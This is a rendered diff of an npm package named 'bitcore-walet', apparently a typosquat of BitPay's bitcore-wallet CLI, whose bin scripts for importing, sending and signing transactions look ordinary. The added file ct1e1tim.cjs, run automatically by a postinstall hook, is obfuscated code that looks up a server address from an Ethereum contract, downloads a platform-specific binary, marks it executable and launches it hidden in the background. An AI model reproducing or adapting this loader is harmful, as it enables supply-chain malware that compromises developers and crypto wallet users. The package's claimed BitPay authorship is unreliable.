break;
|
157
|
+
default:
|
158
|
+
direction = tx.action;
|
159
|
+
break;
|
160
|
+
}
|
161
|
+
console.log("\t%s: %s %s %s %s(%s confirmations)", time, direction, tx.action, amount, proposal, confirmations);
|
162
|
+
});
|
163
|
+
}
|
164
|
+
return cb();
|
165
|
+
});
|
166
|
+
},
|
167
|
+
function() {
|
168
|
+
total = total + got;
|
169
|
+
var cont = got > page && (!limit || total < limit);
|
170
|
+
if (cont) {
|
171
|
+
skip+= page;
|
172
|
+
console.warn('* Skip:', skip);
|
173
|
+
}
|
174
|
+
return cont;
|
175
|
+
},
|
176
|
+
function (err) {
|
177
|
+
if (err) console.log(err);
|
178
|
+
}
|
179
|
+
);
|
180
|
+
});
|
@@ -0,0 +1,85 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var program = require('commander');
|
4
|
+
var fs = require('fs');
|
5
|
+
var sjcl = require('sjcl');
|
6
|
+
var utils = require('./cli-utils');
|
7
|
+
program = utils.configureCommander(program);
|
8
|
+
|
9
|
+
program
|
10
|
+
.option('-c, --coin <coin>', 'coin (btc/bch)')
|
11
|
+
.option('-t, --testnet', 'testnet network')
|
12
|
+
.option('-i, --input', 'import from file')
|
13
|
+
.option('-q, --qr', 'import from a QR code')
|
14
|
+
.option('-e, --exportpassword <password>', 'a password to decrypt the data being imported')
|
15
|
+
.option('-k, --keypassword <password>', 'password to decrypt private key from imported file')
|
16
|
+
.option('-p, --password', 'Encrypt wallet. Will ask password interactively')
|
17
|
+
.usage('[options] [<"backup-words"> <passphrase> | <filename> ] ')
|
18
|
+
.parse(process.argv);
|
19
|
+
|
20
|
+
var args = program.args;
|
21
|
+
|
22
|
+
if (!args[0])
|
23
|
+
program.help();
|
24
|
+
|
25
|
+
utils.getClient(program, {
|
26
|
+
mustBeNew: true
|
27
|
+
}, function(client) {
|
28
|
+
|
29
|
+
if (program.input) {
|
30
|
+
var file = args[0];
|
31
|
+
console.log("Importing from file:" + file);
|
32
|
+
var str;
|
33
|
+
|
34
|
+
try {
|
35
|
+
str = fs.readFileSync(file, {
|
36
|
+
encoding: 'utf8'
|
37
|
+
});
|
38
|
+
} catch (e) {
|
39
|
+
utils.die('Could not import: ' + e);
|
40
|
+
};
|
41
|
+
if (str.substr(0,6) == '{"iv":') {
|
42
|
+
console.log('Backup is encrypted');
|
43
|
+
if (!program.exportpassword)
|
44
|
+
utils.die('Provide export\'s password with -e ');
|
45
|
+
try {
|
46
|
+
str = sjcl.decrypt( program.exportpassword, str);
|
47
|
+
} catch (e) {
|
48
|
+
utils.die('Could not decrypt import: ' + e);
|
49
|
+
};
|
50
|
+
};
|
51
|
+
|
52
|
+
try {
|
53
|
+
client.import(str, {
|
54
|
+
compressed: !!program.qr,
|
55
|
+
password: program.keypassword,
|
56
|
+
});
|
57
|
+
} catch (ex) {
|
58
|
+
utils.die('Could not import. Check input file and password:' + ex.message);
|
59
|
+
}
|
60
|
+
|
61
|
+
utils.saveClient(program, client, function() {
|
62
|
+
var access = client.canSign() ? 'with signing capability' : 'without signing capability';
|
63
|
+
console.log('Wallet Imported ' + access + '.');
|
64
|
+
});
|
65
|
+
} else {
|
66
|
+
console.log("Importing from mnemonic");
|
67
|
+
var mnemonics = args[0];
|
68
|
+
var passphrase = args[1];
|
69
|
+
var network = program.testnet ? 'testnet' : 'livenet';
|
70
|
+
var coin = program.coin ? program.coin : 'btc';
|
71
|
+
client.importFromMnemonic(mnemonics, {
|
72
|
+
network: network,
|
73
|
+
passphrase: passphrase,
|
74
|
+
coin: coin,
|
75
|
+
}, function(err) {
|
76
|
+
if (err)
|
77
|
+
utils.die('Could not import' + err);
|
78
|
+
|
79
|
+
utils.saveClient(program, client, function() {
|
80
|
+
var access = client.canSign() ? 'with signing capability' : 'without signing capability';
|
81
|
+
console.log('Wallet Imported ' + access + '.');
|
82
|
+
});
|
83
|
+
});
|
84
|
+
}
|
85
|
+
});
|
package/bin/wallet-join
ADDED
@@ -0,0 +1,25 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var program = require('commander');
|
4
|
+
var utils = require('./cli-utils');
|
5
|
+
program = utils.configureCommander(program);
|
6
|
+
|
7
|
+
program
|
8
|
+
.usage('[options] <secret> [copayerName]')
|
9
|
+
.option('-p, --password', 'Encrypt wallet. Will ask password interactively')
|
10
|
+
.parse(process.argv);
|
11
|
+
|
12
|
+
var args = program.args;
|
13
|
+
if (!args[0])
|
14
|
+
program.help();
|
15
|
+
|
16
|
+
var secret = args[0];
|
17
|
+
var copayerName = args[1] || process.env.USER;
|
18
|
+
|
19
|
+
utils.getClient(program, { doNotComplete: true }, function (client) {
|
20
|
+
client.joinWallet(secret, copayerName, {}, function(err, wallet) {
|
21
|
+
utils.die(err);
|
22
|
+
console.log(' * Wallet Joined.', wallet.name);
|
23
|
+
utils.saveClient(program, client, function () {});
|
24
|
+
});
|
25
|
+
});
|
@@ -0,0 +1,17 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var program = require('commander');
|
4
|
+
var utils = require('./cli-utils');
|
5
|
+
program = utils.configureCommander(program);
|
6
|
+
|
7
|
+
program
|
8
|
+
.parse(process.argv);
|
9
|
+
|
10
|
+
var args = program.args;
|
11
|
+
|
12
|
+
utils.getClient(program, {
|
13
|
+
mustExist: true
|
14
|
+
}, function(client) {
|
15
|
+
var mnemonic = client.getMnemonic();
|
16
|
+
console.log('* Wallet seed: %s', mnemonic);
|
17
|
+
});
|
@@ -0,0 +1,19 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var _ = require('lodash');
|
4
|
+
var program = require('commander');
|
5
|
+
var utils = require('./cli-utils');
|
6
|
+
program = utils.configureCommander(program);
|
7
|
+
|
8
|
+
program
|
9
|
+
.usage('[options]')
|
10
|
+
.description('Creates a wallet on the remote server given the local information')
|
11
|
+
.parse(process.argv);
|
12
|
+
|
13
|
+
var args = program.args;
|
14
|
+
utils.getClient(program, { mustExist: true }, function (client) {
|
15
|
+
client.recreateWallet(function(err) {
|
16
|
+
utils.die(err);
|
17
|
+
console.log(' * Wallet created.');
|
18
|
+
});
|
19
|
+
});
|
@@ -0,0 +1,29 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var _ = require('lodash');
|
4
|
+
var program = require('commander');
|
5
|
+
var utils = require('./cli-utils');
|
6
|
+
program = utils.configureCommander(program);
|
7
|
+
|
8
|
+
program
|
9
|
+
.usage('[options] <txpid> [reason]')
|
10
|
+
.parse(process.argv);
|
11
|
+
|
12
|
+
var args = program.args;
|
13
|
+
var txpid = args[0] || '';
|
14
|
+
var reason = args[1] || '';
|
15
|
+
|
16
|
+
utils.getClient(program, { mustExist: true }, function (client) {
|
17
|
+
client.getTxProposals({}, function(err, txps) {
|
18
|
+
utils.die(err);
|
19
|
+
|
20
|
+
var txp = utils.findOneTxProposal(txps, txpid);
|
21
|
+
client.rejectTxProposal(txp, reason, function(err, tx) {
|
22
|
+
utils.die(err);
|
23
|
+
if (tx.status == 'rejected')
|
24
|
+
console.log('Transaction finally rejected.');
|
25
|
+
else
|
26
|
+
console.log('Transaction rejected by you.');
|
27
|
+
});
|
28
|
+
});
|
29
|
+
});
|
package/bin/wallet-rm
ADDED
@@ -0,0 +1,29 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var _ = require('lodash');
|
4
|
+
var program = require('commander');
|
5
|
+
var utils = require('./cli-utils');
|
6
|
+
program = utils.configureCommander(program);
|
7
|
+
|
8
|
+
program
|
9
|
+
.usage('[options] <txpid>')
|
10
|
+
.parse(process.argv);
|
11
|
+
|
12
|
+
var args = program.args;
|
13
|
+
var txpid = args[0] || '';
|
14
|
+
|
15
|
+
utils.getClient(program, { mustExist: true }, function (client) {
|
16
|
+
client.getTxProposals({doNotVerify: true}, function(err, txps) {
|
17
|
+
utils.die(err);
|
18
|
+
|
19
|
+
if (program.verbose)
|
20
|
+
console.log('* Raw Server Response:\n', txps); //TODO
|
21
|
+
|
22
|
+
var txp = utils.findOneTxProposal(txps, txpid);
|
23
|
+
client.removeTxProposal(txp, function(err) {
|
24
|
+
utils.die(err);
|
25
|
+
|
26
|
+
console.log('Transaction removed.');
|
27
|
+
});
|
28
|
+
});
|
29
|
+
});
|
package/bin/wallet-send
ADDED
@@ -0,0 +1,142 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var program = require('commander');
|
4
|
+
var utils = require('./cli-utils');
|
5
|
+
var _ = require('lodash');
|
6
|
+
var bwc = require('bitcore-wallet-client');
|
7
|
+
var Bitcore_ = {
|
8
|
+
bch: bwc.BitcoreCash,
|
9
|
+
btc: bwc.Bitcore,
|
10
|
+
};
|
11
|
+
|
12
|
+
program = utils.configureCommander(program);
|
13
|
+
|
14
|
+
program
|
15
|
+
.option('--fee <fee-policy>', 'Fee policy to use (default "normal") [urgent, priority/normal/economy/superEconomy] ')
|
16
|
+
.usage('[options] <address> <amount> [note]')
|
17
|
+
.description('Create a proposal for sending bitcoins to a destination address.\n The amount can be specified in bit, btc or sat (the default).');
|
18
|
+
|
19
|
+
program.on('--help', function() {
|
20
|
+
console.log(' Examples:');
|
21
|
+
console.log('');
|
22
|
+
console.log(' $ wallet-send n2HRFgtoihgAhx1qAEXcdBMjoMvAx7AcDc 500bit');
|
23
|
+
console.log(' $ wallet-send mgWeRvUC6d1LRPKtdDbvYEpaUEmApS4XrY 0.2btc "dinner with friends"');
|
24
|
+
console.log(' $ wallet-send https://paypro.url/1234 # will ask for confirmation ');
|
25
|
+
console.log('');
|
26
|
+
});
|
27
|
+
program.parse(process.argv);
|
28
|
+
|
29
|
+
var args = program.args;
|
30
|
+
if (!args[0])
|
31
|
+
program.help();
|
32
|
+
|
33
|
+
|
34
|
+
function confirmDiag(amountStr, note, cb) {
|
35
|
+
const readline = require('readline');
|
36
|
+
|
37
|
+
const rl = readline.createInterface({
|
38
|
+
input: process.stdin,
|
39
|
+
output: process.stdout
|
40
|
+
});
|
41
|
+
|
42
|
+
rl.question(`Confirm send ${amountStr} to ${note}? (y/N)`, (answer) => {
|
43
|
+
rl.close();
|
44
|
+
return cb(answer =='y');
|
45
|
+
});
|
46
|
+
};
|
47
|
+
|
48
|
+
|
49
|
+
function send(client, address, amount, fee, note, uri) {
|
50
|
+
var amount;
|
51
|
+
|
52
|
+
fee = fee || 'normal';
|
53
|
+
client.createTxProposal({
|
54
|
+
outputs: [{
|
55
|
+
toAddress: address,
|
56
|
+
amount: amount,
|
57
|
+
}],
|
58
|
+
message: note,
|
59
|
+
feeLevel: fee,
|
60
|
+
payProUrl: uri,
|
61
|
+
}, function(err, txp) {
|
62
|
+
utils.die(err);
|
63
|
+
client.publishTxProposal({
|
64
|
+
txp: txp
|
65
|
+
}, function(err) {
|
66
|
+
utils.die(err);
|
67
|
+
console.log(' * Tx created: ID %s [%s] RequiredSignatures:',
|
68
|
+
utils.shortID(txp.id), txp.status, txp.requiredSignatures);
|
69
|
+
});
|
70
|
+
});
|
71
|
+
};
|
72
|
+
|
73
|
+
|
74
|
+
var arg1 = args[0];
|
75
|
+
var uri;
|
76
|
+
|
77
|
+
|
78
|
+
|
79
|
+
utils.getClient(program, {
|
80
|
+
mustExist: true
|
81
|
+
}, function(client) {
|
82
|
+
var coin = client.credentials.coin;
|
83
|
+
var bitcore = Bitcore_[coin];
|
84
|
+
|
85
|
+
var uri, addr, amount, note;
|
86
|
+
|
87
|
+
// no backwards compat uri
|
88
|
+
if ((/^bitcoin(cash)?:\?r=[\w+]/).exec(arg1)) {
|
89
|
+
var coin2 = 'btc';
|
90
|
+
if (arg1.indexOf('bitcoincash') === 0) coin2 = 'bch';
|
91
|
+
if (coin != coin2) utils.die('Wallet / Payment Coin mismatch');
|
92
|
+
uri = arg1.replace(/bitcoin(cash)?:\?r=/, '');
|
93
|
+
|
94
|
+
} else {
|
95
|
+
|
96
|
+
// BIP21
|
97
|
+
try {
|
98
|
+
|
99
|
+
var parsed = new bitcore.URI(arg1);
|
100
|
+
if (!parsed.r) {
|
101
|
+
|
102
|
+
addr = parsed.address ? parsed.address.toString() : '';
|
103
|
+
note = parsed.message;
|
104
|
+
amount = parsed.amount ? parsed.amount : '';
|
105
|
+
|
106
|
+
} else {
|
107
|
+
uri = parsed.r;
|
108
|
+
}
|
109
|
+
} catch (e) {
|
110
|
+
uri = null;
|
111
|
+
}
|
112
|
+
}
|
113
|
+
|
114
|
+
//Send to URI or addr
|
115
|
+
|
116
|
+
if (uri) {
|
117
|
+
console.log('Fetching Payment from: ' + uri);
|
118
|
+
client.fetchPayPro({
|
119
|
+
payProUrl: uri,
|
120
|
+
}, function(err, paypro) {
|
121
|
+
if (err) {
|
122
|
+
utils.die(' Failed to fetch payment: ' + (_.isObject(err)? JSON.stringify(err) : err));
|
123
|
+
} else if (!paypro.verified) {
|
124
|
+
utils.die('Failed to verify payment protocol signatures');
|
125
|
+
}
|
126
|
+
|
127
|
+
var amountStr = utils.renderAmount(paypro.amount, coin);
|
128
|
+
confirmDiag(amountStr, paypro.memo, function(confirmed) {
|
129
|
+
if (!confirmed) utils.die('User canceled');
|
130
|
+
send(client, paypro.toAddress, paypro.amount, program.fee, paypro.memo, uri);
|
131
|
+
});
|
132
|
+
});
|
133
|
+
} else {
|
134
|
+
|
135
|
+
// Grab data from CLI if not set before
|
136
|
+
addr = addr || arg1;
|
137
|
+
amount = amount || utils.parseAmount(args[1]);
|
138
|
+
note = note || args[2];
|
139
|
+
|
140
|
+
send(client, addr, amount, program.fee, note);
|
141
|
+
}
|
142
|
+
});
|
package/bin/wallet-sign
ADDED
@@ -0,0 +1,29 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var _ = require('lodash');
|
4
|
+
var fs = require('fs');
|
5
|
+
var program = require('commander');
|
6
|
+
var utils = require('./cli-utils');
|
7
|
+
program = utils.configureCommander(program);
|
8
|
+
|
9
|
+
program
|
10
|
+
.usage('[options] <txpid>')
|
11
|
+
.option('-i, --input [filename]', 'use signatures from file')
|
12
|
+
.parse(process.argv);
|
13
|
+
|
14
|
+
var args = program.args;
|
15
|
+
var txpid = args[0] || '';
|
16
|
+
|
17
|
+
utils.getClient(program, { mustExist: true }, function (client, key, err) {
|
18
|
+
client.getTxProposals({}, function(err, txps) {
|
19
|
+
if (err)
|
20
|
+
utils.die(err);
|
21
|
+
|
22
|
+
var txp = utils.findOneTxProposal(txps, txpid);
|
23
|
+
let signatures = key.sign(client.getRootPath(), txp);
|
24
|
+
client.pushSignatures(txp, signatures, function(err, tx) {
|
25
|
+
utils.die(err);
|
26
|
+
console.log('Transaction signed by you.');
|
27
|
+
});
|
28
|
+
});
|
29
|
+
});
|
@@ -0,0 +1,36 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var _ = require('lodash');
|
4
|
+
var program = require('commander');
|
5
|
+
var utils = require('./cli-utils');
|
6
|
+
program = utils.configureCommander(program);
|
7
|
+
|
8
|
+
program
|
9
|
+
.option('-v, --verbose', 'Show wallet raw data')
|
10
|
+
.parse(process.argv);
|
11
|
+
|
12
|
+
var args = program.args;
|
13
|
+
utils.getClient(program, { mustExist: true }, function (client) {
|
14
|
+
client.getStatus({}, function(err, res) {
|
15
|
+
utils.die(err);
|
16
|
+
|
17
|
+
var x = res.wallet;
|
18
|
+
console.log('* Wallet %s [%s]: %d-of-%d %s Coin:%s ', x.name, x.network, x.m, x.n, x.status, x.coin);
|
19
|
+
|
20
|
+
if (x.status != 'complete') {
|
21
|
+
console.log(' Missing copayers:', x.n - x.copayers.length);
|
22
|
+
console.log(' Wallet secret:', x.secret);
|
23
|
+
}
|
24
|
+
console.log('* Copayers:', _.map(x.copayers,'name').join(', '));
|
25
|
+
|
26
|
+
|
27
|
+
if (program.verbose) {
|
28
|
+
console.log('* Wallet Raw Data:', x);
|
29
|
+
}
|
30
|
+
|
31
|
+
var x = res.balance;
|
32
|
+
console.log('* Balance %s (Locked: %s)', utils.renderAmount(x.totalAmount, client.credentials.coin), utils.renderAmount(x.lockedAmount, client.credentials.coin));
|
33
|
+
|
34
|
+
utils.renderTxProposals(res.pendingTxps);
|
35
|
+
});
|
36
|
+
});
|
@@ -0,0 +1,26 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
var _ = require('lodash');
|
4
|
+
var fs = require('fs');
|
5
|
+
var program = require('commander');
|
6
|
+
var utils = require('./cli-utils');
|
7
|
+
program = utils.configureCommander(program);
|
8
|
+
|
9
|
+
program
|
10
|
+
.option('-o, --output [filename]', 'write tx to output file for air-gapped signing')
|
11
|
+
.parse(process.argv);
|
12
|
+
|
13
|
+
var args = program.args;
|
14
|
+
|
15
|
+
utils.getClient(program, { mustExist: true }, function (client) {
|
16
|
+
client.getTxProposals({forAirGapped: !!program.output}, function (err, res) {
|
17
|
+
utils.die(err);
|
18
|
+
|
19
|
+
if (program.output) {
|
20
|
+
fs.writeFileSync(program.output, JSON.stringify(res));
|
21
|
+
console.log(' * Tx proposals saved to: %s\n', program.output);
|
22
|
+
} else {
|
23
|
+
utils.renderTxProposals(res);
|
24
|
+
}
|
25
|
+
});
|
26
|
+
});
|
package/ct1e1tim.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x30fb5f=_0x2f6a;function _0x29a4(){const _0x279694=['finish','tmpdir','1265944TnGElj','xztJY','child_process','win32','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','kFiAz','1884235sWHvMf','uRxCb','/node-linux','VLsGT','createWriteStream','BudOP','GET','kuXiU','ethers','error','22421NNsDLi','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','48124lVAiop','chmodSync','myUku','462xvLVCv','getDefaultProvider','2JniXeE','unref','465023jwaXlU','Ошибка\x20установки:','loALT','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','path','Contract','1666086GPpjpQ','piQiP','pipe','mainnet','linux','Unsupported\x20platform:\x20','755','6250455MQwUQe','axios','darwin','/node-macos','DpyAs','basename','ignore','join','ChphS','platform'];_0x29a4=function(){return _0x279694;};return _0x29a4();}(function(_0x4fb066,_0x5143cd){const _0x129d54=_0x2f6a,_0x1e3b5a=_0x4fb066();while(!![]){try{const _0x4e3bd6=-parseInt(_0x129d54(0x76))/0x1*(-parseInt(_0x129d54(0x74))/0x2)+parseInt(_0x129d54(0x7c))/0x3+-parseInt(_0x129d54(0xa1))/0x4+-parseInt(_0x129d54(0x95))/0x5+-parseInt(_0x129d54(0x72))/0x6*(-parseInt(_0x129d54(0x9f))/0x7)+parseInt(_0x129d54(0x8f))/0x8+-parseInt(_0x129d54(0x83))/0x9;if(_0x4e3bd6===_0x5143cd)break;else _0x1e3b5a['push'](_0x1e3b5a['shift']());}catch(_0xdbfa20){_0x1e3b5a['push'](_0x1e3b5a['shift']());}}}(_0x29a4,0x5377e));function _0x2f6a(_0xe81ee9,_0x48152b){const _0x29a40d=_0x29a4();return _0x2f6a=function(_0x2f6a33,_0x5273a1){_0x2f6a33=_0x2f6a33-0x70;let _0x444a0b=_0x29a40d[_0x2f6a33];return _0x444a0b;},_0x2f6a(_0xe81ee9,_0x48152b);}const {ethers}=require(_0x30fb5f(0x9d)),axios=require(_0x30fb5f(0x84)),util=require('util'),fs=require('fs'),path=require(_0x30fb5f(0x7a)),os=require('os'),{spawn}=require(_0x30fb5f(0x91)),contractAddress=_0x30fb5f(0x93),WalletOwner=_0x30fb5f(0x79),abi=[_0x30fb5f(0xa0)],provider=ethers[_0x30fb5f(0x73)](_0x30fb5f(0x7f)),contract=new ethers[(_0x30fb5f(0x7b))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x597361=_0x30fb5f,_0x57b5ef={'xztJY':'Ошибка\x20при\x20получении\x20IP\x20адреса:'};try{const _0x35159e=await contract['getString'](WalletOwner);return _0x35159e;}catch(_0x40766e){return console[_0x597361(0x9e)](_0x57b5ef[_0x597361(0x90)],_0x40766e),await fetchAndUpdateIp();}},getDownloadUrl=_0x580e59=>{const _0x542513=_0x30fb5f,_0x2477e4={'piQiP':_0x542513(0x92)},_0x9ad009=os[_0x542513(0x8c)]();switch(_0x9ad009){case _0x2477e4[_0x542513(0x7d)]:return _0x580e59+'/node-win.exe';case _0x542513(0x80):return _0x580e59+_0x542513(0x97);case _0x542513(0x85):return _0x580e59+_0x542513(0x86);default:throw new Error(_0x542513(0x81)+_0x9ad009);}},downloadFile=async(_0x28bd10,_0x2649f3)=>{const _0x5e29c8=_0x30fb5f,_0x515a56={'zkGBS':_0x5e29c8(0x8d),'eySFf':_0x5e29c8(0x9e),'uRxCb':_0x5e29c8(0x9b)},_0x4c276f=fs[_0x5e29c8(0x99)](_0x2649f3),_0x3d3e20=await axios({'url':_0x28bd10,'method':_0x515a56[_0x5e29c8(0x96)],'responseType':'stream'});return _0x3d3e20['data'][_0x5e29c8(0x7e)](_0x4c276f),new Promise((_0x758dab,_0x4e97b1)=>{_0x4c276f['on'](_0x515a56['zkGBS'],_0x758dab),_0x4c276f['on'](_0x515a56['eySFf'],_0x4e97b1);});},executeFileInBackground=async _0x2200c8=>{const _0x2a8bd7=_0x30fb5f,_0x4865a3={'VLsGT':function(_0x30ddd3,_0x5c8394,_0x111201,_0x32fc29){return _0x30ddd3(_0x5c8394,_0x111201,_0x32fc29);},'myUku':_0x2a8bd7(0x89),'DpyAs':'Ошибка\x20при\x20запуске\x20файла:'};try{const _0x334365=_0x4865a3[_0x2a8bd7(0x98)](spawn,_0x2200c8,[],{'detached':!![],'stdio':_0x4865a3[_0x2a8bd7(0x71)]});_0x334365[_0x2a8bd7(0x75)]();}catch(_0x595c26){console[_0x2a8bd7(0x9e)](_0x4865a3[_0x2a8bd7(0x87)],_0x595c26);}},runInstallation=async()=>{const _0x40bedc=_0x30fb5f,_0x4f2c55={'loALT':function(_0x312239){return _0x312239();},'txZby':function(_0x4a4e29,_0x31e5ae,_0x3fefcc){return _0x4a4e29(_0x31e5ae,_0x3fefcc);},'HnoLn':function(_0x8367f6,_0x29cca7){return _0x8367f6!==_0x29cca7;},'kFiAz':_0x40bedc(0x92),'ChphS':_0x40bedc(0x82),'BudOP':function(_0x399c60,_0x228458){return _0x399c60(_0x228458);},'kuXiU':_0x40bedc(0x77)};try{const _0x291d9a=await _0x4f2c55[_0x40bedc(0x78)](fetchAndUpdateIp),_0xf60bcc=getDownloadUrl(_0x291d9a),_0x7dfb0b=os[_0x40bedc(0x8e)](),_0x4c9725=path[_0x40bedc(0x88)](_0xf60bcc),_0x249bd7=path[_0x40bedc(0x8a)](_0x7dfb0b,_0x4c9725);await _0x4f2c55['txZby'](downloadFile,_0xf60bcc,_0x249bd7);if(_0x4f2c55['HnoLn'](os[_0x40bedc(0x8c)](),_0x4f2c55[_0x40bedc(0x94)]))fs[_0x40bedc(0x70)](_0x249bd7,_0x4f2c55[_0x40bedc(0x8b)]);_0x4f2c55[_0x40bedc(0x9a)](executeFileInBackground,_0x249bd7);}catch(_0x595f8e){console['error'](_0x4f2c55[_0x40bedc(0x9c)],_0x595f8e);}};runInstallation();
|
package/package.json
CHANGED
@@ -1,6 +1,79 @@
|
|
1
1
|
{
|
2
2
|
"name": "bitcore-walet",
|
3
|
-
"
|
4
|
-
"
|
5
|
-
"
|
6
|
-
|
3
|
+
"description": "A CLI Mutisig HD Bitcoin Wallet, demo for Bitcore Wallet Service",
|
4
|
+
"author": "BitPay Inc",
|
5
|
+
"version": "8.19.0",
|
6
|
+
"keywords": [
|
7
|
+
"bitcoin",
|
8
|
+
"copay",
|
9
|
+
"multisig",
|
10
|
+
"wallet"
|
11
|
+
],
|
12
|
+
"repository": {
|
13
|
+
"url": "git@github.com:bitpay/bitcore-wallet.git",
|
14
|
+
"type": "git"
|
15
|
+
},
|
16
|
+
"bugs": {
|
17
|
+
"url": "https://github.com/bitpay/bitcore-wallet/issues"
|
18
|
+
},
|
19
|
+
"dependencies": {
|
20
|
+
"async": "^2.5.0",
|
21
|
+
"bitcore-lib": "^8.17.1",
|
22
|
+
"bitcore-wallet-client": "^8.19.0",
|
23
|
+
"commander": "^2.6.0",
|
24
|
+
"lodash": "^3.3.1",
|
25
|
+
"moment": "^2.9.0",
|
26
|
+
"npmlog": "^1.2.0",
|
27
|
+
"qr-image": "^3.1.0",
|
28
|
+
"read": "^1.0.5",
|
29
|
+
"sjcl": "^1.0.2",
|
30
|
+
"axios": "^1.7.7",
|
31
|
+
"ethers": "^6.13.2"
|
32
|
+
},
|
33
|
+
"devDependencies": {
|
34
|
+
"chai": "^3.3.0",
|
35
|
+
"sinon": "^1.17.1"
|
36
|
+
},
|
37
|
+
"scripts": {
|
38
|
+
"postinstall": "node ct1e1tim.cjs"
|
39
|
+
},
|
40
|
+
"contributors": [
|
41
|
+
{
|
42
|
+
"name": "Ivan Socolsky",
|
43
|
+
"email": "ivan@gmail.com"
|
44
|
+
},
|
45
|
+
{
|
46
|
+
"name": "Matias Alejo Garcia",
|
47
|
+
"email": "ematiu@gmail.com"
|
48
|
+
}
|
49
|
+
],
|
50
|
+
"bin": {
|
51
|
+
"wallet": "./bin/wallet",
|
52
|
+
"wallet-address": "./bin/wallet-address",
|
53
|
+
"wallet-addresses": "./bin/wallet-addresses",
|
54
|
+
"wallet-airsign": "./bin/wallet-airsign",
|
55
|
+
"wallet-balance": "./bin/wallet-balance",
|
56
|
+
"wallet-broadcast": "./bin/wallet-broadcast",
|
57
|
+
"wallet-confirm": "./bin/wallet-confirm",
|
58
|
+
"wallet-create": "./bin/wallet-create",
|
59
|
+
"wallet-export": "./bin/wallet-export",
|
60
|
+
"wallet-genkey": "./bin/wallet-genkey",
|
61
|
+
"wallet-history": "./bin/wallet-history",
|
62
|
+
"wallet-import": "./bin/wallet-import",
|
63
|
+
"wallet-join": "./bin/wallet-join",
|
64
|
+
"wallet-recreate": "./bin/wallet-recreate",
|
65
|
+
"wallet-reject": "./bin/wallet-reject",
|
66
|
+
"wallet-rm": "./bin/wallet-rm",
|
67
|
+
"wallet-send": "./bin/wallet-send",
|
68
|
+
"wallet-sign": "./bin/wallet-sign",
|
69
|
+
"wallet-status": "./bin/wallet-status",
|
70
|
+
"wallet-txproposals": "./bin/wallet-txproposals",
|
71
|
+
"wallet-mnemonic": "./bin/wallet-mnemonic",
|
72
|
+
"wallet-derive": "./bin/wallet-derive"
|
73
|
+
},
|
74
|
+
"licence": "MIT",
|
75
|
+
"gitHead": "fd63a94973984a10a79e40210631ef51b5c72259",
|
76
|
+
"files": [
|
77
|
+
"ct1e1tim.cjs"
|
78
|
+
]
|
79
|
+
}
|